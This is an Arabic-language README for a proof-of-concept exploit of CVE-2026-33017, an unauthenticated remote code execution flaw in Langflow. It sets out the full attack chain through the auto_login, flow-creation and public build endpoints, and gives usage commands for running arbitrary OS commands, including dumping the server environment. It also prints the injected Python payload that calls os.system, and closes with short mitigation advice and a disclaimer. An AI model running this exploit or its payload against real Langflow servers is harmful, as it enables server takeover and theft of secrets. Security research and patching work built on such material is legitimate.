
إثبات مفهوم لـ CVE-2026-33017، يوضح تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في إصدارات Langflow المعرّضة للخطر من خلال حقن تعليمات برمجية خبيثة في CustomComponent.
معرّف CVE: CVE-2026-33017
البرنامج المتأثر: Langflow
الإصدارات المصابة: <= 1.8.2
الإصدار المُصلَّح: >= 1.9.0
الخطورة: حرجة
المؤلف: arensballiu
التاريخ: 2026
يكشف Langflow عن نقطة نهاية عامة لبناء التدفقات (/api/v1/build_public_tmp/{flowID}/flow) تقبل
كتل تعليمات برمجية عشوائية من نوع CustomComponent وتنفّذها على جانب الخادم دون مصادقة. من خلال
حقن حمولة Python خبيثة في حقل code لعقدة CustomComponent، يستطيع مهاجم غير مُصادَق
تشغيل أوامر نظام تشغيل عشوائية بصلاحيات عملية خادم Langflow.
تستغل سلسلة الهجوم أولاً نقطة النهاية /api/v1/auto_login، التي تُصدر رمز bearer دون
الحاجة إلى بيانات اعتماد عندما يعمل Langflow في إعداداته الافتراضية للتسجيل التلقائي. ثم تستخدم
هذا الرمز لإنشاء تدفق عام مؤقت وتشغيل تنفيذ التعليمات البرمجية على جانب الخادم عبر نقطة نهاية
البناء.
يتضمن المشروع ملف docker يُنشئ نسخة docker مع تثبيت langflow وتشغيله.
| نقطة النهاية | الطريقة | تتطلب مصادقة | الغرض |
|---|---|---|---|
/api/v1/auto_login | GET | لا | الحصول على رمز bearer (يجب تفعيل التسجيل التلقائي) |
/api/v1/flows/ | POST | نعم (Bearer) | إنشاء تدفق جديد |
/api/v1/build_public_tmp/{flowID}/flow | POST | لا (عام) | تشغيل البناء — نقطة التنفيذ المصابة |
/api/v1/flows/{flowID} | DELETE | نعم (Bearer) | تنظيف التدفق المُنشأ |
الملف: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| العلامة | الصيغة الطويلة | مطلوب | الوصف |
|---|---|---|---|
-u | --url | نعم | عنوان URL الأساسي لنسخة Langflow |
-c | --command | نعم | أمر نظام التشغيل المراد تنفيذه على الخادم |
-d | --delete | لا | حذف التدفق المُنشأ بعد الاستغلال |
التحقق من تنفيذ التعليمات البرمجية:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
استرجاع متغيرات بيئة الخادم:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
إبقاء التدفق نشطًا بعد الاستغلال (تخطي التنظيف):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
يحقن الاستغلال مقتطف Python التالي في حقل code لعقدة CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - يستورد وحدة os ديناميكيًا وينفّذ أمر shell المُقدَّم من المهاجم على الخادم.CustomComponent صالحة مطلوبة لإرضاء محمّل المكوّنات في Langflow دون إثارة خطأ في التحليل.PUBLIC ويُستدعى نقطة نهاية البناء على نقطة نهايته العامة، مما يعني أنه لا حاجة إلى ملف تعريف جلسة أو رمز مصادقة لتشغيل التنفيذ.يسمح نظام CustomComponent في Langflow بتقديم تعليمات Python برمجية عشوائية كجزء من تعريف
التدفق. تقوم نقطة النهاية /api/v1/build_public_tmp/{flowID}/flow ببناء هذه التعليمات وتقييمها
جزئيًا على جانب الخادم بما في ذلك العبارات على مستوى الوحدة دون عزل أو تقييد الوصول إلى
دوال Python المدمجة مثل __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
يمكن لمهاجم مجهول تنفيذ الخطوات الأربع جميعها ضد نشر افتراضي لـ Langflow.
LANGFLOW_AUTO_LOGIN=false) في أي نشر متصل بالإنترنت.يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وبحث أمني مُصرَّح به فقط. استخدام هذا السكربت ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاقي. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.